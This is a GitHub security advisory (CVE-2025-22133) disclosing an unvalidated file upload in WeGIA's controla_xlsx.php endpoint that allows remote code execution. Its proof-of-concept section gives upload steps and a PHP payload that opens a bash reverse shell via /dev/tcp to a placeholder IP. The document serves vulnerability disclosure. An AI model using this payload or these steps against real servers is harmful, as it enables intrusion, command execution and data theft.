Skip to content

Arbitrary File Upload with Remote Code Execution (RCE)

Critical
nilsonLazarin published GHSA-mjgr-2jxv-v8qf Jan 7, 2025

Package

composer WeGIA (Composer)

Affected versions

< 3.2.6

Patched versions

3.2.8

Description

Summary

A critical vulnerability was identified in the following endpoint:

/WeGIA/html/socio/sistema/controller/controla_xlsx.php

The endpoint accepts file uploads without proper validation, allowing the upload of malicious files, such as .phar, which can then be executed by the server.

Details

The vulnerability resides in the endpoint /WeGIA/html/socio/sistema/controller/controla_xlsx.php, which fails to validate uploaded files properly. This allows an attacker to upload malicious files, such as .phar, capable of being executed on the server. By crafting a malicious file containing arbitrary code, attackers can trigger Remote Code Execution (RCE) on the vulnerable server.

/WeGIA/html/socio/sistema/controller/controla_xlsx.php

The endpoint accepts file uploads without proper validation, allowing the upload of malicious files, such as .phar, which can then be executed by the server. This enables remote code execution on the vulnerable server.

PoC

After capturing the file upload request from /WeGIA/html/socio/sistema/controller/controla_xlsx.php, simply change the uploaded file type to .phar, insert the payload into the content and send the request.

Payload:


<?php
$ip = 'IP';
$port = 4444;
system("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
?>

image

Once uploaded, run the shell on the file path in /WeGIA/html/socio/sistema/tabelas/shell.phar

image

Impact

This vulnerability allows an attacker to:

Gain access to the server through a reverse shell.
Execute arbitrary commands with the privileges of the web server user.
Exfiltrate sensitive data, such as configuration files, logs, or confidential user information.
Compromise the integrity and availability of the system.
Escalate privileges if additional vulnerabilities are present.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-22133

Credits